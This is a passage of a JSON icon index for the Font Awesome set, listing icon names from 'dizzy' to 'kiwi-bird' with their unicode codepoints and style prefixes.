	{
		"name": "dizzy",
		"unicode": "f567",
		"prefix": "far"
	},
	{
		"name": "dna",
		"unicode": "f471",
		"prefix": "fas"
	},
	{
		"name": "dochub",
		"unicode": "f394",
		"prefix": "fab"
	},
	{
		"name": "docker",
		"unicode": "f395",
		"prefix": "fab"
	},
	{
		"name": "dog",
		"unicode": "f6d3",
		"prefix": "fas"
	},
	{
		"name": "dollar-sign",
		"unicode": "f155",
		"prefix": "fas"
	},
	{
		"name": "dolly",
		"unicode": "f472",
		"prefix": "fas"
	},
	{
		"name": "dolly-flatbed",
		"unicode": "f474",
		"prefix": "fas"
	},
	{
		"name": "donate",
		"unicode": "f4b9",
		"prefix": "fas"
	},
	{
		"name": "door-closed",
		"unicode": "f52a",
		"prefix": "fas"
	},
	{
		"name": "door-open",
		"unicode": "f52b",
		"prefix": "fas"
	},
	{
		"name": "dot-circle",
		"unicode": "f192",
		"prefix": "fas"
	},
	{
		"name": "dot-circle",
		"unicode": "f192",
		"prefix": "far"
	},
	{
		"name": "dove",
		"unicode": "f4ba",
		"prefix": "fas"
	},
	{
		"name": "download",
		"unicode": "f019",
		"prefix": "fas"
	},
	{
		"name": "draft2digital",
		"unicode": "f396",
		"prefix": "fab"
	},
	{
		"name": "drafting-compass",
		"unicode": "f568",
		"prefix": "fas"
	},
	{
		"name": "dragon",
		"unicode": "f6d5",
		"prefix": "fas"
	},
	{
		"name": "draw-polygon",
		"unicode": "f5ee",
		"prefix": "fas"
	},
	{
		"name": "dribbble",
		"unicode": "f17d",
		"prefix": "fab"
	},
	{
		"name": "dribbble-square",
		"unicode": "f397",
		"prefix": "fab"
	},
	{
		"name": "dropbox",
		"unicode": "f16b",
		"prefix": "fab"
	},
	{
		"name": "drum",
		"unicode": "f569",
		"prefix": "fas"
	},
	{
		"name": "drum-steelpan",
		"unicode": "f56a",
		"prefix": "fas"
	},
	{
		"name": "drumstick-bite",
		"unicode": "f6d7",
		"prefix": "fas"
	},
	{
		"name": "drupal",
		"unicode": "f1a9",
		"prefix": "fab"
	},
	{
		"name": "dumbbell",
		"unicode": "f44b",
		"prefix": "fas"
	},
	{
		"name": "dungeon",
		"unicode": "f6d9",
		"prefix": "fas"
	},
	{
		"name": "dyalog",
		"unicode": "f399",
		"prefix": "fab"
	},
	{
		"name": "earlybirds",
		"unicode": "f39a",
		"prefix": "fab"
	},
	{
		"name": "ebay",
		"unicode": "f4f4",
		"prefix": "fab"
	},
	{
		"name": "edge",
		"unicode": "f282",
		"prefix": "fab"
	},
	{
		"name": "edit",
		"unicode": "f044",
		"prefix": "fas"
	},
	{
		"name": "edit",
		"unicode": "f044",
		"prefix": "far"
	},
	{
		"name": "eject",
		"unicode": "f052",
		"prefix": "fas"
	},
	{
		"name": "elementor",
		"unicode": "f430",
		"prefix": "fab"
	},
	{
		"name": "ellipsis-h",
		"unicode": "f141",
		"prefix": "fas"
	},
	{
		"name": "ellipsis-v",
		"unicode": "f142",
		"prefix": "fas"
	},
	{
		"name": "ello",
		"unicode": "f5f1",
		"prefix": "fab"
	},
	{
		"name": "ember",
		"unicode": "f423",
		"prefix": "fab"
	},
	{
		"name": "empire",
		"unicode": "f1d1",
		"prefix": "fab"
	},
	{
		"name": "envelope",
		"unicode": "f0e0",
		"prefix": "fas"
	},
	{
		"name": "envelope",
		"unicode": "f0e0",
		"prefix": "far"
	},
	{
		"name": "envelope-open",
		"unicode": "f2b6",
		"prefix": "fas"
	},
	{
		"name": "envelope-open",
		"unicode": "f2b6",
		"prefix": "far"
	},
	{
		"name": "envelope-open-text",
		"unicode": "f658",
		"prefix": "fas"
	},
	{
		"name": "envelope-square",
		"unicode": "f199",
		"prefix": "fas"
	},
	{
		"name": "envira",
		"unicode": "f299",
		"prefix": "fab"
	},
	{
		"name": "equals",
		"unicode": "f52c",
		"prefix": "fas"
	},
	{
		"name": "eraser",
		"unicode": "f12d",
		"prefix": "fas"
	},
	{
		"name": "erlang",
		"unicode": "f39d",
		"prefix": "fab"
	},
	{
		"name": "ethereum",
		"unicode": "f42e",
		"prefix": "fab"
	},
	{
		"name": "etsy",
		"unicode": "f2d7",
		"prefix": "fab"
	},
	{
		"name": "euro-sign",
		"unicode": "f153",
		"prefix": "fas"
	},
	{
		"name": "exchange-alt",
		"unicode": "f362",
		"prefix": "fas"
	},
	{
		"name": "exclamation",
		"unicode": "f12a",
		"prefix": "fas"
	},
	{
		"name": "exclamation-circle",
		"unicode": "f06a",
		"prefix": "fas"
	},
	{
		"name": "exclamation-triangle",
		"unicode": "f071",
		"prefix": "fas"
	},
	{
		"name": "expand",
		"unicode": "f065",
		"prefix": "fas"
	},
	{
		"name": "expand-arrows-alt",
		"unicode": "f31e",
		"prefix": "fas"
	},
	{
		"name": "expeditedssl",
		"unicode": "f23e",
		"prefix": "fab"
	},
	{
		"name": "external-link-alt",
		"unicode": "f35d",
		"prefix": "fas"
	},
	{
		"name": "external-link-square-alt",
		"unicode": "f360",
		"prefix": "fas"
	},
	{
		"name": "eye",
		"unicode": "f06e",
		"prefix": "fas"
	},
	{
		"name": "eye",
		"unicode": "f06e",
		"prefix": "far"
	},
	{
		"name": "eye-dropper",
		"unicode": "f1fb",
		"prefix": "fas"
	},
	{
		"name": "eye-slash",
		"unicode": "f070",
		"prefix": "fas"
	},
	{
		"name": "eye-slash",
		"unicode": "f070",
		"prefix": "far"
	},
	{
		"name": "facebook",
		"unicode": "f09a",
		"prefix": "fab"
	},
	{
		"name": "facebook-f",
		"unicode": "f39e",
		"prefix": "fab"
	},
	{
		"name": "facebook-messenger",
		"unicode": "f39f",
		"prefix": "fab"
	},
	{
		"name": "facebook-square",
		"unicode": "f082",
		"prefix": "fab"
	},
	{
		"name": "fantasy-flight-games",
		"unicode": "f6dc",
		"prefix": "fab"
	},
	{
		"name": "fast-backward",
		"unicode": "f049",
		"prefix": "fas"
	},
	{
		"name": "fast-forward",
		"unicode": "f050",
		"prefix": "fas"
	},
	{
		"name": "fax",
		"unicode": "f1ac",
		"prefix": "fas"
	},
	{
		"name": "feather",
		"unicode": "f52d",
		"prefix": "fas"
	},
	{
		"name": "feather-alt",
		"unicode": "f56b",
		"prefix": "fas"
	},
	{
		"name": "female",
		"unicode": "f182",
		"prefix": "fas"
	},
	{
		"name": "fighter-jet",
		"unicode": "f0fb",
		"prefix": "fas"
	},
	{
		"name": "file",
		"unicode": "f15b",
		"prefix": "fas"
	},
	{
		"name": "file",
		"unicode": "f15b",
		"prefix": "far"
	},
	{
		"name": "file-alt",
		"unicode": "f15c",
		"prefix": "fas"
	},
	{
		"name": "file-alt",
		"unicode": "f15c",
		"prefix": "far"
	},
	{
		"name": "file-archive",
		"unicode": "f1c6",
		"prefix": "fas"
	},
	{
		"name": "file-archive",
		"unicode": "f1c6",
		"prefix": "far"
	},
	{
		"name": "file-audio",
		"unicode": "f1c7",
		"prefix": "fas"
	},
	{
		"name": "file-audio",
		"unicode": "f1c7",
		"prefix": "far"
	},
	{
		"name": "file-code",
		"unicode": "f1c9",
		"prefix": "fas"
	},
	{
		"name": "file-code",
		"unicode": "f1c9",
		"prefix": "far"
	},
	{
		"name": "file-contract",
		"unicode": "f56c",
		"prefix": "fas"
	},
	{
		"name": "file-csv",
		"unicode": "f6dd",
		"prefix": "fas"
	},
	{
		"name": "file-download",
		"unicode": "f56d",
		"prefix": "fas"
	},
	{
		"name": "file-excel",
		"unicode": "f1c3",
		"prefix": "fas"
	},
	{
		"name": "file-excel",
		"unicode": "f1c3",
		"prefix": "far"
	},
	{
		"name": "file-export",
		"unicode": "f56e",
		"prefix": "fas"
	},
	{
		"name": "file-image",
		"unicode": "f1c5",
		"prefix": "fas"
	},
	{
		"name": "file-image",
		"unicode": "f1c5",
		"prefix": "far"
	},
	{
		"name": "file-import",
		"unicode": "f56f",
		"prefix": "fas"
	},
	{
		"name": "file-invoice",
		"unicode": "f570",
		"prefix": "fas"
	},
	{
		"name": "file-invoice-dollar",
		"unicode": "f571",
		"prefix": "fas"
	},
	{
		"name": "file-medical",
		"unicode": "f477",
		"prefix": "fas"
	},
	{
		"name": "file-medical-alt",
		"unicode": "f478",
		"prefix": "fas"
	},
	{
		"name": "file-pdf",
		"unicode": "f1c1",
		"prefix": "fas"
	},
	{
		"name": "file-pdf",
		"unicode": "f1c1",
		"prefix": "far"
	},
	{
		"name": "file-powerpoint",
		"unicode": "f1c4",
		"prefix": "fas"
	},
	{
		"name": "file-powerpoint",
		"unicode": "f1c4",
		"prefix": "far"
	},
	{
		"name": "file-prescription",
		"unicode": "f572",
		"prefix": "fas"
	},
	{
		"name": "file-signature",
		"unicode": "f573",
		"prefix": "fas"
	},
	{
		"name": "file-upload",
		"unicode": "f574",
		"prefix": "fas"
	},
	{
		"name": "file-video",
		"unicode": "f1c8",
		"prefix": "fas"
	},
	{
		"name": "file-video",
		"unicode": "f1c8",
		"prefix": "far"
	},
	{
		"name": "file-word",
		"unicode": "f1c2",
		"prefix": "fas"
	},
	{
		"name": "file-word",
		"unicode": "f1c2",
		"prefix": "far"
	},
	{
		"name": "fill",
		"unicode": "f575",
		"prefix": "fas"
	},
	{
		"name": "fill-drip",
		"unicode": "f576",
		"prefix": "fas"
	},
	{
		"name": "film",
		"unicode": "f008",
		"prefix": "fas"
	},
	{
		"name": "filter",
		"unicode": "f0b0",
		"prefix": "fas"
	},
	{
		"name": "fingerprint",
		"unicode": "f577",
		"prefix": "fas"
	},
	{
		"name": "fire",
		"unicode": "f06d",
		"prefix": "fas"
	},
	{
		"name": "fire-extinguisher",
		"unicode": "f134",
		"prefix": "fas"
	},
	{
		"name": "firefox",
		"unicode": "f269",
		"prefix": "fab"
	},
	{
		"name": "first-aid",
		"unicode": "f479",
		"prefix": "fas"
	},
	{
		"name": "first-order",
		"unicode": "f2b0",
		"prefix": "fab"
	},
	{
		"name": "first-order-alt",
		"unicode": "f50a",
		"prefix": "fab"
	},
	{
		"name": "firstdraft",
		"unicode": "f3a1",
		"prefix": "fab"
	},
	{
		"name": "fish",
		"unicode": "f578",
		"prefix": "fas"
	},
	{
		"name": "fist-raised",
		"unicode": "f6de",
		"prefix": "fas"
	},
	{
		"name": "flag",
		"unicode": "f024",
		"prefix": "fas"
	},
	{
		"name": "flag",
		"unicode": "f024",
		"prefix": "far"
	},
	{
		"name": "flag-checkered",
		"unicode": "f11e",
		"prefix": "fas"
	},
	{
		"name": "flag-usa",
		"unicode": "f74d",
		"prefix": "fas"
	},
	{
		"name": "flask",
		"unicode": "f0c3",
		"prefix": "fas"
	},
	{
		"name": "flickr",
		"unicode": "f16e",
		"prefix": "fab"
	},
	{
		"name": "flipboard",
		"unicode": "f44d",
		"prefix": "fab"
	},
	{
		"name": "flushed",
		"unicode": "f579",
		"prefix": "fas"
	},
	{
		"name": "flushed",
		"unicode": "f579",
		"prefix": "far"
	},
	{
		"name": "fly",
		"unicode": "f417",
		"prefix": "fab"
	},
	{
		"name": "folder",
		"unicode": "f07b",
		"prefix": "fas"
	},
	{
		"name": "folder",
		"unicode": "f07b",
		"prefix": "far"
	},
	{
		"name": "folder-minus",
		"unicode": "f65d",
		"prefix": "fas"
	},
	{
		"name": "folder-open",
		"unicode": "f07c",
		"prefix": "fas"
	},
	{
		"name": "folder-open",
		"unicode": "f07c",
		"prefix": "far"
	},
	{
		"name": "folder-plus",
		"unicode": "f65e",
		"prefix": "fas"
	},
	{
		"name": "font",
		"unicode": "f031",
		"prefix": "fas"
	},
	{
		"name": "font-awesome",
		"unicode": "f2b4",
		"prefix": "fab"
	},
	{
		"name": "font-awesome-alt",
		"unicode": "f35c",
		"prefix": "fab"
	},
	{
		"name": "font-awesome-flag",
		"unicode": "f425",
		"prefix": "fab"
	},
	{
		"name": "fonticons",
		"unicode": "f280",
		"prefix": "fab"
	},
	{
		"name": "fonticons-fi",
		"unicode": "f3a2",
		"prefix": "fab"
	},
	{
		"name": "football-ball",
		"unicode": "f44e",
		"prefix": "fas"
	},
	{
		"name": "fort-awesome",
		"unicode": "f286",
		"prefix": "fab"
	},
	{
		"name": "fort-awesome-alt",
		"unicode": "f3a3",
		"prefix": "fab"
	},
	{
		"name": "forumbee",
		"unicode": "f211",
		"prefix": "fab"
	},
	{
		"name": "forward",
		"unicode": "f04e",
		"prefix": "fas"
	},
	{
		"name": "foursquare",
		"unicode": "f180",
		"prefix": "fab"
	},
	{
		"name": "free-code-camp",
		"unicode": "f2c5",
		"prefix": "fab"
	},
	{
		"name": "freebsd",
		"unicode": "f3a4",
		"prefix": "fab"
	},
	{
		"name": "frog",
		"unicode": "f52e",
		"prefix": "fas"
	},
	{
		"name": "frown",
		"unicode": "f119",
		"prefix": "fas"
	},
	{
		"name": "frown",
		"unicode": "f119",
		"prefix": "far"
	},
	{
		"name": "frown-open",
		"unicode": "f57a",
		"prefix": "fas"
	},
	{
		"name": "frown-open",
		"unicode": "f57a",
		"prefix": "far"
	},
	{
		"name": "fulcrum",
		"unicode": "f50b",
		"prefix": "fab"
	},
	{
		"name": "funnel-dollar",
		"unicode": "f662",
		"prefix": "fas"
	},
	{
		"name": "futbol",
		"unicode": "f1e3",
		"prefix": "fas"
	},
	{
		"name": "futbol",
		"unicode": "f1e3",
		"prefix": "far"
	},
	{
		"name": "galactic-republic",
		"unicode": "f50c",
		"prefix": "fab"
	},
	{
		"name": "galactic-senate",
		"unicode": "f50d",
		"prefix": "fab"
	},
	{
		"name": "gamepad",
		"unicode": "f11b",
		"prefix": "fas"
	},
	{
		"name": "gas-pump",
		"unicode": "f52f",
		"prefix": "fas"
	},
	{
		"name": "gavel",
		"unicode": "f0e3",
		"prefix": "fas"
	},
	{
		"name": "gem",
		"unicode": "f3a5",
		"prefix": "fas"
	},
	{
		"name": "gem",
		"unicode": "f3a5",
		"prefix": "far"
	},
	{
		"name": "genderless",
		"unicode": "f22d",
		"prefix": "fas"
	},
	{
		"name": "get-pocket",
		"unicode": "f265",
		"prefix": "fab"
	},
	{
		"name": "gg",
		"unicode": "f260",
		"prefix": "fab"
	},
	{
		"name": "gg-circle",
		"unicode": "f261",
		"prefix": "fab"
	},
	{
		"name": "ghost",
		"unicode": "f6e2",
		"prefix": "fas"
	},
	{
		"name": "gift",
		"unicode": "f06b",
		"prefix": "fas"
	},
	{
		"name": "git",
		"unicode": "f1d3",
		"prefix": "fab"
	},
	{
		"name": "git-square",
		"unicode": "f1d2",
		"prefix": "fab"
	},
	{
		"name": "github",
		"unicode": "f09b",
		"prefix": "fab"
	},
	{
		"name": "github-alt",
		"unicode": "f113",
		"prefix": "fab"
	},
	{
		"name": "github-square",
		"unicode": "f092",
		"prefix": "fab"
	},
	{
		"name": "gitkraken",
		"unicode": "f3a6",
		"prefix": "fab"
	},
	{
		"name": "gitlab",
		"unicode": "f296",
		"prefix": "fab"
	},
	{
		"name": "gitter",
		"unicode": "f426",
		"prefix": "fab"
	},
	{
		"name": "glass-martini",
		"unicode": "f000",
		"prefix": "fas"
	},
	{
		"name": "glass-martini-alt",
		"unicode": "f57b",
		"prefix": "fas"
	},
	{
		"name": "glasses",
		"unicode": "f530",
		"prefix": "fas"
	},
	{
		"name": "glide",
		"unicode": "f2a5",
		"prefix": "fab"
	},
	{
		"name": "glide-g",
		"unicode": "f2a6",
		"prefix": "fab"
	},
	{
		"name": "globe",
		"unicode": "f0ac",
		"prefix": "fas"
	},
	{
		"name": "globe-africa",
		"unicode": "f57c",
		"prefix": "fas"
	},
	{
		"name": "globe-americas",
		"unicode": "f57d",
		"prefix": "fas"
	},
	{
		"name": "globe-asia",
		"unicode": "f57e",
		"prefix": "fas"
	},
	{
		"name": "gofore",
		"unicode": "f3a7",
		"prefix": "fab"
	},
	{
		"name": "golf-ball",
		"unicode": "f450",
		"prefix": "fas"
	},
	{
		"name": "goodreads",
		"unicode": "f3a8",
		"prefix": "fab"
	},
	{
		"name": "goodreads-g",
		"unicode": "f3a9",
		"prefix": "fab"
	},
	{
		"name": "google",
		"unicode": "f1a0",
		"prefix": "fab"
	},
	{
		"name": "google-drive",
		"unicode": "f3aa",
		"prefix": "fab"
	},
	{
		"name": "google-play",
		"unicode": "f3ab",
		"prefix": "fab"
	},
	{
		"name": "google-plus",
		"unicode": "f2b3",
		"prefix": "fab"
	},
	{
		"name": "google-plus-g",
		"unicode": "f0d5",
		"prefix": "fab"
	},
	{
		"name": "google-plus-square",
		"unicode": "f0d4",
		"prefix": "fab"
	},
	{
		"name": "google-wallet",
		"unicode": "f1ee",
		"prefix": "fab"
	},
	{
		"name": "gopuram",
		"unicode": "f664",
		"prefix": "fas"
	},
	{
		"name": "graduation-cap",
		"unicode": "f19d",
		"prefix": "fas"
	},
	{
		"name": "gratipay",
		"unicode": "f184",
		"prefix": "fab"
	},
	{
		"name": "grav",
		"unicode": "f2d6",
		"prefix": "fab"
	},
	{
		"name": "greater-than",
		"unicode": "f531",
		"prefix": "fas"
	},
	{
		"name": "greater-than-equal",
		"unicode": "f532",
		"prefix": "fas"
	},
	{
		"name": "grimace",
		"unicode": "f57f",
		"prefix": "fas"
	},
	{
		"name": "grimace",
		"unicode": "f57f",
		"prefix": "far"
	},
	{
		"name": "grin",
		"unicode": "f580",
		"prefix": "fas"
	},
	{
		"name": "grin",
		"unicode": "f580",
		"prefix": "far"
	},
	{
		"name": "grin-alt",
		"unicode": "f581",
		"prefix": "fas"
	},
	{
		"name": "grin-alt",
		"unicode": "f581",
		"prefix": "far"
	},
	{
		"name": "grin-beam",
		"unicode": "f582",
		"prefix": "fas"
	},
	{
		"name": "grin-beam",
		"unicode": "f582",
		"prefix": "far"
	},
	{
		"name": "grin-beam-sweat",
		"unicode": "f583",
		"prefix": "fas"
	},
	{
		"name": "grin-beam-sweat",
		"unicode": "f583",
		"prefix": "far"
	},
	{
		"name": "grin-hearts",
		"unicode": "f584",
		"prefix": "fas"
	},
	{
		"name": "grin-hearts",
		"unicode": "f584",
		"prefix": "far"
	},
	{
		"name": "grin-squint",
		"unicode": "f585",
		"prefix": "fas"
	},
	{
		"name": "grin-squint",
		"unicode": "f585",
		"prefix": "far"
	},
	{
		"name": "grin-squint-tears",
		"unicode": "f586",
		"prefix": "fas"
	},
	{
		"name": "grin-squint-tears",
		"unicode": "f586",
		"prefix": "far"
	},
	{
		"name": "grin-stars",
		"unicode": "f587",
		"prefix": "fas"
	},
	{
		"name": "grin-stars",
		"unicode": "f587",
		"prefix": "far"
	},
	{
		"name": "grin-tears",
		"unicode": "f588",
		"prefix": "fas"
	},
	{
		"name": "grin-tears",
		"unicode": "f588",
		"prefix": "far"
	},
	{
		"name": "grin-tongue",
		"unicode": "f589",
		"prefix": "fas"
	},
	{
		"name": "grin-tongue",
		"unicode": "f589",
		"prefix": "far"
	},
	{
		"name": "grin-tongue-squint",
		"unicode": "f58a",
		"prefix": "fas"
	},
	{
		"name": "grin-tongue-squint",
		"unicode": "f58a",
		"prefix": "far"
	},
	{
		"name": "grin-tongue-wink",
		"unicode": "f58b",
		"prefix": "fas"
	},
	{
		"name": "grin-tongue-wink",
		"unicode": "f58b",
		"prefix": "far"
	},
	{
		"name": "grin-wink",
		"unicode": "f58c",
		"prefix": "fas"
	},
	{
		"name": "grin-wink",
		"unicode": "f58c",
		"prefix": "far"
	},
	{
		"name": "grip-horizontal",
		"unicode": "f58d",
		"prefix": "fas"
	},
	{
		"name": "grip-vertical",
		"unicode": "f58e",
		"prefix": "fas"
	},
	{
		"name": "gripfire",
		"unicode": "f3ac",
		"prefix": "fab"
	},
	{
		"name": "grunt",
		"unicode": "f3ad",
		"prefix": "fab"
	},
	{
		"name": "gulp",
		"unicode": "f3ae",
		"prefix": "fab"
	},
	{
		"name": "h-square",
		"unicode": "f0fd",
		"prefix": "fas"
	},
	{
		"name": "hacker-news",
		"unicode": "f1d4",
		"prefix": "fab"
	},
	{
		"name": "hacker-news-square",
		"unicode": "f3af",
		"prefix": "fab"
	},
	{
		"name": "hackerrank",
		"unicode": "f5f7",
		"prefix": "fab"
	},
	{
		"name": "hammer",
		"unicode": "f6e3",
		"prefix": "fas"
	},
	{
		"name": "hamsa",
		"unicode": "f665",
		"prefix": "fas"
	},
	{
		"name": "hand-holding",
		"unicode": "f4bd",
		"prefix": "fas"
	},
	{
		"name": "hand-holding-heart",
		"unicode": "f4be",
		"prefix": "fas"
	},
	{
		"name": "hand-holding-usd",
		"unicode": "f4c0",
		"prefix": "fas"
	},
	{
		"name": "hand-lizard",
		"unicode": "f258",
		"prefix": "fas"
	},
	{
		"name": "hand-lizard",
		"unicode": "f258",
		"prefix": "far"
	},
	{
		"name": "hand-paper",
		"unicode": "f256",
		"prefix": "fas"
	},
	{
		"name": "hand-paper",
		"unicode": "f256",
		"prefix": "far"
	},
	{
		"name": "hand-peace",
		"unicode": "f25b",
		"prefix": "fas"
	},
	{
		"name": "hand-peace",
		"unicode": "f25b",
		"prefix": "far"
	},
	{
		"name": "hand-point-down",
		"unicode": "f0a7",
		"prefix": "fas"
	},
	{
		"name": "hand-point-down",
		"unicode": "f0a7",
		"prefix": "far"
	},
	{
		"name": "hand-point-left",
		"unicode": "f0a5",
		"prefix": "fas"
	},
	{
		"name": "hand-point-left",
		"unicode": "f0a5",
		"prefix": "far"
	},
	{
		"name": "hand-point-right",
		"unicode": "f0a4",
		"prefix": "fas"
	},
	{
		"name": "hand-point-right",
		"unicode": "f0a4",
		"prefix": "far"
	},
	{
		"name": "hand-point-up",
		"unicode": "f0a6",
		"prefix": "fas"
	},
	{
		"name": "hand-point-up",
		"unicode": "f0a6",
		"prefix": "far"
	},
	{
		"name": "hand-pointer",
		"unicode": "f25a",
		"prefix": "fas"
	},
	{
		"name": "hand-pointer",
		"unicode": "f25a",
		"prefix": "far"
	},
	{
		"name": "hand-rock",
		"unicode": "f255",
		"prefix": "fas"
	},
	{
		"name": "hand-rock",
		"unicode": "f255",
		"prefix": "far"
	},
	{
		"name": "hand-scissors",
		"unicode": "f257",
		"prefix": "fas"
	},
	{
		"name": "hand-scissors",
		"unicode": "f257",
		"prefix": "far"
	},
	{
		"name": "hand-spock",
		"unicode": "f259",
		"prefix": "fas"
	},
	{
		"name": "hand-spock",
		"unicode": "f259",
		"prefix": "far"
	},
	{
		"name": "hands",
		"unicode": "f4c2",
		"prefix": "fas"
	},
	{
		"name": "hands-helping",
		"unicode": "f4c4",
		"prefix": "fas"
	},
	{
		"name": "handshake",
		"unicode": "f2b5",
		"prefix": "fas"
	},
	{
		"name": "handshake",
		"unicode": "f2b5",
		"prefix": "far"
	},
	{
		"name": "hanukiah",
		"unicode": "f6e6",
		"prefix": "fas"
	},
	{
		"name": "hashtag",
		"unicode": "f292",
		"prefix": "fas"
	},
	{
		"name": "hat-wizard",
		"unicode": "f6e8",
		"prefix": "fas"
	},
	{
		"name": "haykal",
		"unicode": "f666",
		"prefix": "fas"
	},
	{
		"name": "hdd",
		"unicode": "f0a0",
		"prefix": "fas"
	},
	{
		"name": "hdd",
		"unicode": "f0a0",
		"prefix": "far"
	},
	{
		"name": "heading",
		"unicode": "f1dc",
		"prefix": "fas"
	},
	{
		"name": "headphones",
		"unicode": "f025",
		"prefix": "fas"
	},
	{
		"name": "headphones-alt",
		"unicode": "f58f",
		"prefix": "fas"
	},
	{
		"name": "headset",
		"unicode": "f590",
		"prefix": "fas"
	},
	{
		"name": "heart",
		"unicode": "f004",
		"prefix": "fas"
	},
	{
		"name": "heart",
		"unicode": "f004",
		"prefix": "far"
	},
	{
		"name": "heartbeat",
		"unicode": "f21e",
		"prefix": "fas"
	},
	{
		"name": "helicopter",
		"unicode": "f533",
		"prefix": "fas"
	},
	{
		"name": "highlighter",
		"unicode": "f591",
		"prefix": "fas"
	},
	{
		"name": "hiking",
		"unicode": "f6ec",
		"prefix": "fas"
	},
	{
		"name": "hippo",
		"unicode": "f6ed",
		"prefix": "fas"
	},
	{
		"name": "hips",
		"unicode": "f452",
		"prefix": "fab"
	},
	{
		"name": "hire-a-helper",
		"unicode": "f3b0",
		"prefix": "fab"
	},
	{
		"name": "history",
		"unicode": "f1da",
		"prefix": "fas"
	},
	{
		"name": "hockey-puck",
		"unicode": "f453",
		"prefix": "fas"
	},
	{
		"name": "home",
		"unicode": "f015",
		"prefix": "fas"
	},
	{
		"name": "hooli",
		"unicode": "f427",
		"prefix": "fab"
	},
	{
		"name": "hornbill",
		"unicode": "f592",
		"prefix": "fab"
	},
	{
		"name": "horse",
		"unicode": "f6f0",
		"prefix": "fas"
	},
	{
		"name": "hospital",
		"unicode": "f0f8",
		"prefix": "fas"
	},
	{
		"name": "hospital",
		"unicode": "f0f8",
		"prefix": "far"
	},
	{
		"name": "hospital-alt",
		"unicode": "f47d",
		"prefix": "fas"
	},
	{
		"name": "hospital-symbol",
		"unicode": "f47e",
		"prefix": "fas"
	},
	{
		"name": "hot-tub",
		"unicode": "f593",
		"prefix": "fas"
	},
	{
		"name": "hotel",
		"unicode": "f594",
		"prefix": "fas"
	},
	{
		"name": "hotjar",
		"unicode": "f3b1",
		"prefix": "fab"
	},
	{
		"name": "hourglass",
		"unicode": "f254",
		"prefix": "fas"
	},
	{
		"name": "hourglass",
		"unicode": "f254",
		"prefix": "far"
	},
	{
		"name": "hourglass-end",
		"unicode": "f253",
		"prefix": "fas"
	},
	{
		"name": "hourglass-half",
		"unicode": "f252",
		"prefix": "fas"
	},
	{
		"name": "hourglass-start",
		"unicode": "f251",
		"prefix": "fas"
	},
	{
		"name": "house-damage",
		"unicode": "f6f1",
		"prefix": "fas"
	},
	{
		"name": "houzz",
		"unicode": "f27c",
		"prefix": "fab"
	},
	{
		"name": "hryvnia",
		"unicode": "f6f2",
		"prefix": "fas"
	},
	{
		"name": "html5",
		"unicode": "f13b",
		"prefix": "fab"
	},
	{
		"name": "hubspot",
		"unicode": "f3b2",
		"prefix": "fab"
	},
	{
		"name": "i-cursor",
		"unicode": "f246",
		"prefix": "fas"
	},
	{
		"name": "id-badge",
		"unicode": "f2c1",
		"prefix": "fas"
	},
	{
		"name": "id-badge",
		"unicode": "f2c1",
		"prefix": "far"
	},
	{
		"name": "id-card",
		"unicode": "f2c2",
		"prefix": "fas"
	},
	{
		"name": "id-card",
		"unicode": "f2c2",
		"prefix": "far"
	},
	{
		"name": "id-card-alt",
		"unicode": "f47f",
		"prefix": "fas"
	},
	{
		"name": "image",
		"unicode": "f03e",
		"prefix": "fas"
	},
	{
		"name": "image",
		"unicode": "f03e",
		"prefix": "far"
	},
	{
		"name": "images",
		"unicode": "f302",
		"prefix": "fas"
	},
	{
		"name": "images",
		"unicode": "f302",
		"prefix": "far"
	},
	{
		"name": "imdb",
		"unicode": "f2d8",
		"prefix": "fab"
	},
	{
		"name": "inbox",
		"unicode": "f01c",
		"prefix": "fas"
	},
	{
		"name": "indent",
		"unicode": "f03c",
		"prefix": "fas"
	},
	{
		"name": "industry",
		"unicode": "f275",
		"prefix": "fas"
	},
	{
		"name": "infinity",
		"unicode": "f534",
		"prefix": "fas"
	},
	{
		"name": "info",
		"unicode": "f129",
		"prefix": "fas"
	},
	{
		"name": "info-circle",
		"unicode": "f05a",
		"prefix": "fas"
	},
	{
		"name": "instagram",
		"unicode": "f16d",
		"prefix": "fab"
	},
	{
		"name": "internet-explorer",
		"unicode": "f26b",
		"prefix": "fab"
	},
	{
		"name": "ioxhost",
		"unicode": "f208",
		"prefix": "fab"
	},
	{
		"name": "italic",
		"unicode": "f033",
		"prefix": "fas"
	},
	{
		"name": "itunes",
		"unicode": "f3b4",
		"prefix": "fab"
	},
	{
		"name": "itunes-note",
		"unicode": "f3b5",
		"prefix": "fab"
	},
	{
		"name": "java",
		"unicode": "f4e4",
		"prefix": "fab"
	},
	{
		"name": "jedi",
		"unicode": "f669",
		"prefix": "fas"
	},
	{
		"name": "jedi-order",
		"unicode": "f50e",
		"prefix": "fab"
	},
	{
		"name": "jenkins",
		"unicode": "f3b6",
		"prefix": "fab"
	},
	{
		"name": "joget",
		"unicode": "f3b7",
		"prefix": "fab"
	},
	{
		"name": "joint",
		"unicode": "f595",
		"prefix": "fas"
	},
	{
		"name": "joomla",
		"unicode": "f1aa",
		"prefix": "fab"
	},
	{
		"name": "journal-whills",
		"unicode": "f66a",
		"prefix": "fas"
	},
	{
		"name": "js",
		"unicode": "f3b8",
		"prefix": "fab"
	},
	{
		"name": "js-square",
		"unicode": "f3b9",
		"prefix": "fab"
	},
	{
		"name": "jsfiddle",
		"unicode": "f1cc",
		"prefix": "fab"
	},
	{
		"name": "kaaba",
		"unicode": "f66b",
		"prefix": "fas"
	},
	{
		"name": "kaggle",
		"unicode": "f5fa",
		"prefix": "fab"
	},
	{
		"name": "key",
		"unicode": "f084",
		"prefix": "fas"
	},
	{
		"name": "keybase",
		"unicode": "f4f5",
		"prefix": "fab"
	},
	{
		"name": "keyboard",
		"unicode": "f11c",
		"prefix": "fas"
	},
	{
		"name": "keyboard",
		"unicode": "f11c",
		"prefix": "far"
	},
	{
		"name": "keycdn",
		"unicode": "f3ba",
		"prefix": "fab"
	},
	{
		"name": "khanda",
		"unicode": "f66d",
		"prefix": "fas"
	},
	{
		"name": "kickstarter",
		"unicode": "f3bb",
		"prefix": "fab"
	},
	{
		"name": "kickstarter-k",
		"unicode": "f3bc",
		"prefix": "fab"
	},
	{
		"name": "kiss",
		"unicode": "f596",
		"prefix": "fas"
	},
	{
		"name": "kiss",
		"unicode": "f596",
		"prefix": "far"
	},
	{
		"name": "kiss-beam",
		"unicode": "f597",
		"prefix": "fas"
	},
	{
		"name": "kiss-beam",
		"unicode": "f597",
		"prefix": "far"
	},
	{
		"name": "kiss-wink-heart",
		"unicode": "f598",
		"prefix": "fas"
	},
	{
		"name": "kiss-wink-heart",
		"unicode": "f598",
		"prefix": "far"
	},
	{
		"name": "kiwi-bird",
		"unicode": "f535",
